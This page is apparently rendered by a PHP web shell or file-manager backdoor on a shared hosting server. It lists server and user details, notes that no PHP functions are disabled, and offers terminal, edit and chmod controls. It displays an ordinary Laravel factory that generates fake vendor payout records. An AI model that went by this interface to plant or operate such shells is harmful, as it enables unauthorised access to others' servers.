🚀 Hostinger Optimized
🖥️ Server: LiteSpeed
💻 System: Linux s20058.bom1.stableserver.net 5.14.0-611.55.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 19 15:19:29 EDT 2026 x86_64
👤 User: skhata (1324)
🐘 PHP: 8.4.20
🚫 Disabled: ✨ NONE

💻 Terminal

📁 /home/skhata/chandrasons.com/public
$

📄 VendorPayoutFactory.php

📁 Path: /home/skhata/new.chandrapharma.com/database/factories/VendorPayoutFactory.php
📊 Size: 1.36 KB
🔒 Perm: 0644
📝 MIME: text/x-php
<?php

namespace Database\Factories;

use App\Modules\Payout\Models\VendorPayout;
use App\Modules\Vendor\Models\Vendor;
use Illuminate\Database\Eloquent\Factories\Factory;

class VendorPayoutFactory extends Factory
{
    protected $model = VendorPayout::class;

    public function definition(): array
    {
        return [
            'vendor_id'       => Vendor::factory(),
            'amount'          => fake()->randomFloat(2, 500, 10000),
            'currency'        => 'NPR',
            'method'          => fake()->randomElement(['esewa', 'khalti', 'bank_transfer']),
            'account_details' => ['mobile' => '9800000000'],
            'reference'       => null,
            'status'          => 'pending',
            'failure_reason'  => null,
            'processed_at'    => null,
        ];
    }

    public function pending(): static
    {
        return $this->state(['status' => 'pending']);
    }

    public function completed(): static
    {
        return $this->state([
            'status'       => 'completed',
            'reference'    => 'REF-' . strtoupper(fake()->bothify('????####')),
            'processed_at' => now(),
        ]);
    }

    public function failed(string $reason = 'Gateway error'): static
    {
        return $this->state([
            'status'         => 'failed',
            'failure_reason' => $reason,
        ]);
    }
}
← Back📥 Raw✏️ Edit🔒 Chmod
✨ File Manager Magic ✨